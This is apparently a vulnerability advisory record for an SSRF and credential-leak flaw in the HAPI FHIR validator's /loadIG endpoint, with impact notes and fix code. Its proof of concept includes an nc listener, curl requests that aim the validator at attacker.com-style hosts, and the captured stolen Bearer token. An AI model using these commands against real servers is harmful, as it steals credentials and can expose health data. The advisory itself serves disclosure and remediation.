{"id":"CVE-2026-34361","aliases":["GHSA-vr79-8m62-wh98"],"url":"https://o3.security/vulnerability/CVE-2026-34361","summary":"HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft","details":"## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          && req.getHost().equals(srv.getHost())\n          && req.getPort() == srv.getPort()\n          && req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```","published":"2026-03-31T16:56:11.163Z","modified":"2026-08-12T03:51:21.816231303Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"ca.uhn.hapi.fhir:org.hl7.fhir.validation","fixedVersion":"6.9.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34361.json"},{"type":"ADVISORY","url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34361"},{"type":"PACKAGE","url":"https://github.com/hapifhir/org.hl7.fhir.core"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.816231303Z"}}